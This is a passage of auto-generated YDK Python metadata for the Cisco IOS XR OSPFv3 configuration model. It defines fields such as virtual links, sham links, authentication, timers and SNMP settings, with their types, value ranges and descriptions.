_MetaInfoClassMember('encryption', REFERENCE_CLASS, 'Encryption' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.ShamLinks.ShamLink.Encryption',
[], [],
''' Encrypt and authenticate OSPFv3 packets
''',
'encryption',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('hello-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Time between HELLO packets
''',
'hello_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('retransmit-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit interval in seconds
''',
'retransmit_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('transmit-delay', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit delay in seconds
''',
'transmit_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'sham-link',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.ShamLinks' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.ShamLinks',
False,
[
_MetaInfoClassMember('sham-link', REFERENCE_LIST, 'ShamLink' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.ShamLinks.ShamLink',
[], [],
''' ShamLink local and remote endpoints
''',
'sham_link',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'sham-links',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.VirtualLinks.VirtualLink.Authentication' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.VirtualLinks.VirtualLink.Authentication',
False,
[
_MetaInfoClassMember('algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationEnum',
[], [],
''' Use the MD5 or SHA1 algorithm
''',
'algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec AH authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'authentication',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.VirtualLinks.VirtualLink.Encryption' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.VirtualLinks.VirtualLink.Encryption',
False,
[
_MetaInfoClassMember('authentication-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationType2Enum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationType2Enum',
[], [],
''' Use the NULL, MD5 or SHA1 algorithm
''',
'authentication_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'authentication_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3EncryptionAlgorithmEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EncryptionAlgorithmEnum',
[], [],
''' Specify the encryption algorithm
''',
'encryption_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Encryption password
''',
'encryption_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec ESP authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'encryption',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.VirtualLinks.VirtualLink' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.VirtualLinks.VirtualLink',
False,
[
_MetaInfoClassMember('virtual-link-address', ATTRIBUTE, 'str' , None, None,
[], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'],
''' Router ID of virtual link neighbor
''',
'virtual_link_address',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('authentication', REFERENCE_CLASS, 'Authentication' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.VirtualLinks.VirtualLink.Authentication',
[], [],
''' Authenticate OSPFv3 packets
''',
'authentication',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('dead-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interval after which a neighbor is declared
dead (in seconds)
''',
'dead_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enabled virtual link
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption', REFERENCE_CLASS, 'Encryption' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.VirtualLinks.VirtualLink.Encryption',
[], [],
''' Encrypt and authenticate OSPFv3 packets
''',
'encryption',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('hello-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Time between HELLO packets
''',
'hello_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('retransmit-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit interval in seconds
''',
'retransmit_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('transmit-delay', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit delay in seconds
''',
'transmit_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'virtual-link',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.VirtualLinks' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.VirtualLinks',
False,
[
_MetaInfoClassMember('virtual-link', REFERENCE_LIST, 'VirtualLink' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.VirtualLinks.VirtualLink',
[], [],
''' Router ID of virtual link neighbor
''',
'virtual_link',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'virtual-links',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId',
False,
[
_MetaInfoClassMember('area-id', ATTRIBUTE, 'int' , None, None,
[('-2147483648', '2147483647')], [],
''' Area ID if in integer format
''',
'area_id',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('area-scope', REFERENCE_CLASS, 'AreaScope' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.AreaScope',
[], [],
''' Area Scope Configuration
''',
'area_scope',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication', REFERENCE_CLASS, 'Authentication' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Authentication',
[], [],
''' Authenticate OSPFv3 packets
''',
'authentication',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('bfd', REFERENCE_CLASS, 'Bfd' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Bfd',
[], [],
''' Configure BFD parameters
''',
'bfd',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('cost', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interface cost
''',
'cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('database-filter', REFERENCE_CLASS, 'DatabaseFilter' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.DatabaseFilter',
[], [],
''' Database filter
''',
'database_filter',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('dead-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interval after which a neighbor is declared
dead (in seconds)
''',
'dead_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('default-cost', ATTRIBUTE, 'int' , None, None,
[('0', '16777215')], [],
''' Set the summary default-cost of a NSSA/stub
area
''',
'default_cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('demand-circuit', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable demand circuit operation
''',
'demand_circuit',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('distribute-list', REFERENCE_CLASS, 'DistributeList' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.DistributeList',
[], [],
''' Filter prefixes to/from RIB
''',
'distribute_list',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable OSPFv3 area
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption', REFERENCE_CLASS, 'Encryption' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Encryption',
[], [],
''' Encrypt and authenticate OSPFv3 packets
''',
'encryption',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('flood-reduction', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable flood reduction
''',
'flood_reduction',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('hello-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Time between HELLO packets
''',
'hello_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('instance', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Instance ID
''',
'instance',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('interfaces', REFERENCE_CLASS, 'Interfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Interfaces',
[], [],
''' OSPFv3 interfaces
''',
'interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('ldp-sync', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/Disable MPLS LDP sync
''',
'ldp_sync',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('mtu-ignore', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable ignoring of MTU in DBD packets
''',
'mtu_ignore',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('network', REFERENCE_ENUM_CLASS, 'Ospfv3NetworkEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3NetworkEnum',
[], [],
''' Specify network type
''',
'network',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('nssa', REFERENCE_CLASS, 'Nssa' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Nssa',
[], [],
''' Specify area as a NSSA area. Allowed only in
non-backbone areas
''',
'nssa',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('packet-size', ATTRIBUTE, 'int' , None, None,
[('256', '10000')], [],
''' Limit size of OSPFv3 packets
''',
'packet_size',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('passive', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable routing updates on an interface
''',
'passive',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('prefix-suppression', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable prefix suppression on an
interface
''',
'prefix_suppression',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('priority', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Specify router priority
''',
'priority',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('ranges', REFERENCE_CLASS, 'Ranges' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.Ranges',
[], [],
''' Range configuration
''',
'ranges',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('retransmit-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit interval in seconds
''',
'retransmit_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('sham-links', REFERENCE_CLASS, 'ShamLinks' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.ShamLinks',
[], [],
''' Sham Link sub-mode
''',
'sham_links',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('stub', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Specify area as a stub area. Allowed only in
non-backbone areas
''',
'stub',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('transmit-delay', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit delay in seconds
''',
'transmit_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('virtual-links', REFERENCE_CLASS, 'VirtualLinks' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId.VirtualLinks',
[], [],
''' Virtual link sub-mode
''',
'virtual_links',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'area-area-id',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses',
False,
[
_MetaInfoClassMember('area-address', REFERENCE_LIST, 'AreaAddress' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAddress',
[], [],
''' Configuration for a particular area
''',
'area_address',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('area-area-id', REFERENCE_LIST, 'AreaAreaId' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.AreaAddresses.AreaAreaId',
[], [],
''' Configuration for a particular area
''',
'area_area_id',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'area-addresses',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Timers.Pacing' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Timers.Pacing',
False,
[
_MetaInfoClassMember('flood', ATTRIBUTE, 'int' , None, None,
[('5', '100')], [],
''' The minimum interval in milliseconds to pace
limit flooding on interface
''',
'flood',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('lsa-group', ATTRIBUTE, 'int' , None, None,
[('10', '1800')], [],
''' Interval in seconds at which LSAs are grouped
and refreshed, checksummed, or aged
''',
'lsa_group',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('retransmission', ATTRIBUTE, 'int' , None, None,
[('5', '100')], [],
''' The minimum interval in msec between neighbor
retransmissions
''',
'retransmission',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'pacing',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Timers.LsaTimers' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Timers.LsaTimers',
False,
[
_MetaInfoClassMember('arrival', ATTRIBUTE, 'int' , None, None,
[('0', '60000')], [],
''' The minimum interval in milliseconds between
accepting the same LSA
''',
'arrival',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'lsa-timers',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Timers.Throttle.Lsa' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Timers.Throttle.Lsa',
False,
[
_MetaInfoClassMember('first-delay', ATTRIBUTE, 'int' , None, None,
[('0', '600000')], [],
''' Delay to generate first occurrence of LSA in
milliseconds
''',
'first_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('maximum-delay', ATTRIBUTE, 'int' , None, None,
[('1', '600000')], [],
''' Maximum delay between originating the same
LSA in milliseconds
''',
'maximum_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('minimum-delay', ATTRIBUTE, 'int' , None, None,
[('1', '600000')], [],
''' Minimum delay between originating the same
LSA in milliseconds
''',
'minimum_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'lsa',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Timers.Throttle.Spf' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Timers.Throttle.Spf',
False,
[
_MetaInfoClassMember('first-delay', ATTRIBUTE, 'int' , None, None,
[('1', '600000')], [],
''' Initial delay between receiving a change and
starting SPF in ms
''',
'first_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('maximum-delay', ATTRIBUTE, 'int' , None, None,
[('1', '600000')], [],
''' Maximum wait time between consecutive SPF
calculations in ms
''',
'maximum_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('minimum-delay', ATTRIBUTE, 'int' , None, None,
[('1', '600000')], [],
''' Minimum hold time between consecutive SPF
calculations in ms
''',
'minimum_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'spf',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Timers.Throttle' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Timers.Throttle',
False,
[
_MetaInfoClassMember('lsa', REFERENCE_CLASS, 'Lsa' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Timers.Throttle.Lsa',
[], [],
''' LSA throttle timers for all types of OSPF LSAs
''',
'lsa',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spf', REFERENCE_CLASS, 'Spf' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Timers.Throttle.Spf',
[], [],
''' SPF throttle timers
''',
'spf',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'throttle',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Timers' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Timers',
False,
[
_MetaInfoClassMember('lsa-timers', REFERENCE_CLASS, 'LsaTimers' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Timers.LsaTimers',
[], [],
''' LSA timers
''',
'lsa_timers',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('pacing', REFERENCE_CLASS, 'Pacing' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Timers.Pacing',
[], [],
''' Pacing timers
''',
'pacing',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('throttle', REFERENCE_CLASS, 'Throttle' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.Timers.Throttle',
[], [],
''' Throttle timers
''',
'throttle',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'timers',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.SummaryPrefixes.SummaryPrefix' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.SummaryPrefixes.SummaryPrefix',
False,
[
_MetaInfoClassMember('prefix', ATTRIBUTE, 'str' , None, None,
[], ['[\\w\\-\\.:,_@#%$\\+=\\|;]+'],
''' IPv6 prefix string format
''',
'prefix',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('prefix-length', ATTRIBUTE, 'int' , None, None,
[('0', '128')], [],
''' IPV6 prefix length
''',
'prefix_length',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('not-advertise', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Suppress routes matching prefix/length
''',
'not_advertise',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('tag', ATTRIBUTE, 'int' , None, None,
[('1', '4294967295')], [],
''' Tag
''',
'tag',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'summary-prefix',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.SummaryPrefixes' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.SummaryPrefixes',
False,
[
_MetaInfoClassMember('summary-prefix', REFERENCE_LIST, 'SummaryPrefix' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.Vrfs.Vrf.SummaryPrefixes.SummaryPrefix',
[], [],
''' IPv6 address
''',
'summary_prefix',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'summary-prefixes',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Snmp.TrapRateLimit' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Snmp.TrapRateLimit',
False,
[
_MetaInfoClassMember('max-window-traps', ATTRIBUTE, 'int' , None, None,
[('0', '300')], [],
''' Max number of traps sent in window time
''',
'max_window_traps',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('window-size', ATTRIBUTE, 'int' , None, None,
[('2', '60')], [],
''' Trap rate limit sliding window size
''',
'window_size',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'trap-rate-limit',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.Vrfs.Vrf.Snmp' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.Vrfs.Vrf.Snmp',
False,
[
_MetaInfoClassMember('context', ATTRIBUTE, 'str' , None, None,
[], [],
''' SNMP context configuration
''',
'context',
